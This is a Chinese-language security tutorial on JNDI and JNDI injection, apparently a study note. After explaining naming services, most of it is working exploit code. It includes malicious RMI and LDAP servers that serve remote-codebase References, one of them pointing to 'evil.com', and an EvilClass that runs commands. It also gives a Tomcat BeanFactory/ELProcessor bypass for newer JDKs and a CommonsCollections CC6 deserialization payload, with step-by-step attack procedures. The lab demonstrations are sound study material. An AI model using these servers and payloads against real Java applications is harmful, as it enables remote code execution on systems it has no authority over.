JNDI注入-基础

JNDI定义

简单的理解: 其实jndi和之前学的rmi很像,rmi需要绑定到注册中心,jndi则是需要绑定到“上下文”,绑定以后原本rmi是只对rmi的东西操作,而jndi它不仅仅支持rmi,还支持其他协议,跟万能接口一样

JNDI( Java Naming and Directory Interface,Java命名和目录接口) ,包括==Naming Service==和==Directory Service==,是一组在Java应用中访问命名和目录服务的API。JNDI是Java API,==允许客户端通过名称发现和查找数据、对象==。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等

Naming Service

命名服务是将名称与值相关联的实体,称为"绑定"。它提供了一种使用"find"或"search"操作来根据名称查找对象的便捷方式。 就像DNS一样,通过命名服务器提供服务,大部分的J2EE服务器都含有命名服务器 。例如RMI Registry就是使用的Naming Service。

Directory Service

是一种特殊的Naming Service,它允许存储和搜索"目录对象",一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。一个目录是由相关联的目录对象组成的系统,一个目录类似于数据库,不过它们通常以类似树的分层结构进行组织。可以简单理解成它是一种简化的RDBMS系统,通过目录具有的属性保存一些简单的信息。下面说到的LDAP就是目录服务。

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

image-20240902114215745

JNDI由JNDI API、命名管理、JNDI SPI(service provider interface)服务提供的接⼝。我们的应⽤可以通过JNDI的API去访问相关服务提供的接口。我们要使⽤JNDI,必须要有服务提供⽅,我们常⽤的就是JDBC驱动提供数据库连接服务,然后我们配置JNDI连接。

有这么几个关键元素

  • Name,要在命名系统中查找对象,请为其提供对象的名称
  • Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
  • Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
  • References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针

jdk原生支持的:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

JDK里提供了5个包,以供JNDI进行功能的实现

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

漏洞中涉及到最多的就是RMI , LDAP 两种服务接⼝

目录中的存储对象

官网文档给出定义

  1. Java serializable objects
  2. Referenceable objects and JNDI References
  3. Objects with attributes (DirContext)
  4. RMI objects
  5. CORBA objects

比较常见的是 References引用对象RMI远程对象

InitialContext - 上下文

构造方法:

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

示例

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
      	// 构建初始上下文
        InitialContext initialContext = new InitialContext();
      	// 查询命名对象
        String uri = "rmi://127.0.0.1:1099/work";
        initialContext.lookup(uri);
    }
}

Reference - 引用

Reference 类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

示例:

调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?

其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject

JNDI示例

RMI

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);

//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());

//通过名称查找对象
ctx.lookup("refObj");

LDAP

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);

//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

JNDI注入

高版本绕过:

https://tttang.com/archive/1405/

https://tttang.com/archive/1489/

https://tttang.com/archive/1409/

JNDI注入是BlackHat 2016(USA)@pentester的一个议题"A Journey From JNDI LDAP Manipulation To RCE"[9]提出的。提出的时候名字叫“JNDI操纵”,这个按理说更贴合一些,因为这种攻击方式并不是像SQL注入、Xpath注入那样的,说操纵更合适。

jndi注入不同版本利用的方式是不同的,jdk很早就修复了对rmi的利用,但是对ldap的注入一直到jdk8u191(2018年)才修复(高版本仍有绕过方式),它厉害的点在于他是不依赖第三方库的,甚至可以直接执行远程字节码。

JNDI攻击向量

  • RMI
  • LDAP
  • Serialized Object
  • JNDI Reference
  • Remote Object(有安全管理器的限制,在上面RMI利用部分也能看到)
  • Remote Location
  • CORBA
  • IOR 这里引用一张经典图片,以更好地说明jdk版本与攻击向量的选择:

image-20240902161833891

JNDI Reference+RMI攻击

限制条件

  • JDK 6 <6u132
  • JDK 7 < 7u122
  • JDK 8 < 8u113 在这些版本之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。

攻击流程

在我们攻击流程中,我们需要使用到Reference类,其有几个比较关键的属性:

  1. className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
  2. classFactory - 远程的工厂类
  3. classFactoryLocation - 工厂类加载的地址,可以是各种协议,如http://

参考代码如下:

Reference refObj = new Reference("refClassName", "FactoryClassName", "http://evil.com:8000/");
//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名,http://evil.com:9999/是classFactoryLocation
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

完整代码如下:

客户端:

import javax.naming.Context;
import javax.naming.InitialContext;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1:9999/refObj");
    }
}

服务端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(9999);
        System.out.println("java RMI registry created. port on 9999...");
        Reference refObj = new Reference("ExportObject", "EvilClass", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}

恶意类:

import java.io.IOException;

public class EvilClass {
    public EvilClass() {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException var1) {
            var1.printStackTrace();
        }

    }
}

完整攻击流程:

  1. 编译EvilClass.java为EvilClass.class (javac EvilClass.java)
  2. 运行恶意http server,挂载上述class(python3 -m http.server 8000)
  3. 运行恶意rmi server(上面的RMIServer类)
  4. 运行客户端发起请求(上面的RMIClient类)
  5. 客户端对恶意RMI server发送请求,获取远程对象存根实例
  6. 客户端会先从本地的CLASSPATH中寻找ExportObject,如果找不到,则从classFactoryLocation即http://127.0.0.1:8000/EvilClass.class中寻找工厂类
  7. 客户端通过实例化工厂类获取真正的对象,工厂类中包含的恶意代码被执行

JNDI Reference+LDAP攻击

这里就不介绍ldap协议了,直接看如何攻击。

限制条件

  • JDK 6 < 6u211
  • JDK 7 < 7u201
  • JDK 8 < 8u191
  • JDK 11 < 11.0.1 在这些版本之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,对LDAP Reference远程工厂类的加载增加了限制。

攻击流程

攻击流程与上面的JNDI Reference+RMI攻击类似。

完整代码如下(参考marshalsec项目):

客户端:

import javax.naming.Context;
import javax.naming.InitialContext;

public class LDAPClient {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:7777/anything");
    }
}

服务端maven依赖:

<dependency>  
 <groupId>com.unboundid</groupId>  
 <artifactId>unboundid-ldapsdk</artifactId>  
 <version>6.0.0</version>  
</dependency>

服务端:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "ExportObject");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

恶意类同上面的EvilClass.java

完整攻击流程:

  1. 编译EvilClass.java为EvilClass.class (javac EvilClass.java)
  2. 运行恶意http server,挂载上述class(python3 -m http.server 8000)
  3. 运行恶意rmi server(上面的LDAPServer类)
  4. 运行客户端发起请求(上面的LDAPClient类)
  5. 客户端对恶意LDAP server发送请求,获取远程对象存根实例
  6. 客户端会先从本地的CLASSPATH中寻找ExportObject,如果找不到,则从javaFactory即http://127.0.0.1:8000/EvilClass.class中寻找工厂类
  7. 客户端通过实例化工厂类获取真正的对象,工厂类中包含的恶意代码被执行

本地 Factory

在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

限制条件

  1. 客户端存在一个实现了javax.naming.spi.ObjectFactory接口且存在getObjectInstance()方法的类,如org.apache.naming.factory.BeanFactory
  2. getObjectInstance()方法存在可以利用的逻辑(如BeanFactory可以实例化对象的beanClass)
    1. BeanFactory这个例子中,getObjectInstance()方法会实例化对象的beanClass。

其中,beanClass需要满足以下几个条件(通过分析BeanFactory.getObjectInstance()得出:

  1. 本地classpath里存在
  2. 具有无参构造方法
  3. 有直接或间接执行代码的方法,并且方法只能传入一个字符串参数。

通过上述的描述,寻找到符合的类有:

  1. tomcat8里的javax.el.ELProcessor#eval(String)
  2. springboot 1.2.x自带的groovy.lang.GroovyShell#evaluate(String)

攻击流程

  1. Obj.decodeObject()返回Reference对象
  2. 接着会进入NamingManager.getObjectFactoryFromReference(),如果是Reference对象,则会返回一个ObjectFactory对象(这里实现类是BeanFactory)
  3. 实例化beanClass后,会获取Reference对象里的forceString属性值
  4. 将属性值会以逗号和等号分割,格式如param1=methodName1,param2=methodName2
  5. 接着会反射调用beanClass对象里名为methodName1的方法,并传入参数,限定参数类型为String,参数通过Reference对象里param1属性获取。

模拟攻击流程如下:

搭建tomcat源码的测试环境(中文乱码问题参考这里),这里注意要修改下pom.xml的依赖(网上搜索到的pom.xml会缺乏LDAPServer的依赖且easyMock的版本过低),这是我使用的依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

  <modelVersion>4.0.0</modelVersion>
  <groupId>org.apache</groupId>
  <artifactId>tomcat</artifactId>
  <name>apache-tomcat-8.5.75</name>
  <version>8.5.75</version>

  <build>
    <finalName>Tomcat-8.5.57</finalName>
    <sourceDirectory>java</sourceDirectory>
    <testSourceDirectory>test</testSourceDirectory>
    <resources>
      <resource>
        <directory>java</directory>
      </resource>
    </resources>
    <testResources>
      <testResource>
        <directory>test</directory>
      </testResource>
    </testResources>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.5.1</version>
        <configuration>
          <encoding>UTF-8</encoding>
          <source>1.8</source>
          <target>1.8</target>
        </configuration>
      </plugin>
    </plugins>
  </build>

  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.12</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>com.unboundid</groupId>
      <artifactId>unboundid-ldapsdk</artifactId>
      <version>6.0.0</version>
    </dependency>
    <dependency>
      <groupId>org.easymock</groupId>
      <artifactId>easymock</artifactId>
      <version>4.3</version>
      <scope>test</scope>
    </dependency>

    <dependency>
      <groupId>org.apache.ant</groupId>
      <artifactId>ant</artifactId>
      <version>1.10.0</version>
    </dependency>
    <dependency>
      <groupId>wsdl4j</groupId>
      <artifactId>wsdl4j</artifactId>
      <version>1.6.2</version>
    </dependency>
    <dependency>
      <groupId>javax.xml</groupId>
      <artifactId>jaxrpc</artifactId>
      <version>1.1</version>
    </dependency>
    <dependency>
      <groupId>org.eclipse.jdt.core.compiler</groupId>
      <artifactId>ecj</artifactId>
      <version>4.6.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.glassfish/javax.xml.rpc -->
    <dependency>
      <groupId>org.glassfish</groupId>
      <artifactId>javax.xml.rpc</artifactId>
      <version>3.0.1-b03</version>
    </dependency>

  </dependencies>
</project>

在创建java/exp文件夹并写入RMILocalFactoryServer.java:

package exp;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMILocalFactoryServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建Registry
        Registry registry = LocateRegistry.createRegistry(9999);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "KINGX=eval"));
        ref.add(new StringRefAddr("KINGX", "''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('calc.exe')"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);

        System.out.println("java LocalFactory RMI registry created. port on 9999...");
    }
}

在web/ROOT中写入client.jsp:

<%@ page import="javax.naming.*" %>
<%@ page import="javax.el.ELProcessor" %>

<%
    try {
        Context ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1:9999/Exploit");
    } catch (NamingException e) {
        e.printStackTrace();
    }
%>

运行RMILocalFactoryServer

运行tomcat服务器,访问http://127.0.0.1:8080/client.jsp,触发任意java代码执行

SerializedData + LDAP攻击

这种攻击方法不受jdk版本的限制,但是要求目标存在可利用的java组件

限制条件

客户端存在可利用的java组件

前置介绍

LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。分析如下:

当客户端从服务器中获取到对象,进行解析时,com.sun.jndi.ldap.Obj.decodeObject():

image-20240902171626816

此时如果javaSerializedData不为空则进入第一个分支,先根据codebase判断使用哪个ClassLoader,这对于本地反序列化来说没有影响,接着跟进deserializeObject():

image-20240902171652145

这里直接将我们传入的javaSerializedData反序列化。

攻击流程

完整代码如下:

客户端:

import javax.naming.Context;
import javax.naming.InitialContext;

public class LDAPClient {
    public static void main(String[] args) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:7777/anything");
    }
}

客户端与服务端maven依赖:

<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.1</version>  
</dependency>

服务端:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static byte[] getPayload() throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1),
        };

        // 先使用fakeTransformer防止本地命令执行
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");

        Map objMap = new HashMap();
        objMap.put(tiedMapEntry, "valuevalue");
        outerMap.remove("keykey");

        // 使用反射替换transformerChain的transformers
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(objMap);
        oos.close();

        return barr.toByteArray();
    }
}
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

public class LDAPSerialServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            System.out.println("Send LDAP reference result for " + base + " return CC6 gadgets");
            e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-1$
            e.addAttribute("javaSerializedData", CC6.getPayload());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

完整攻击流程:

  1. 运行恶意ldap server(上面的LDAPSerialServer类)
  2. 运行客户端发起请求(上面的LDAPClient类)
  3. 客户端对恶意LDAP server发送请求,获取包含javaSerializedData属性的对象
  4. 客户端解析对象,发现存在javaSerializedData属性,对其进行反序列化
  5. 触发本地反序列化链

参考:

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/JNDI/

注入攻击总结的很好,直接拿来主义了

0%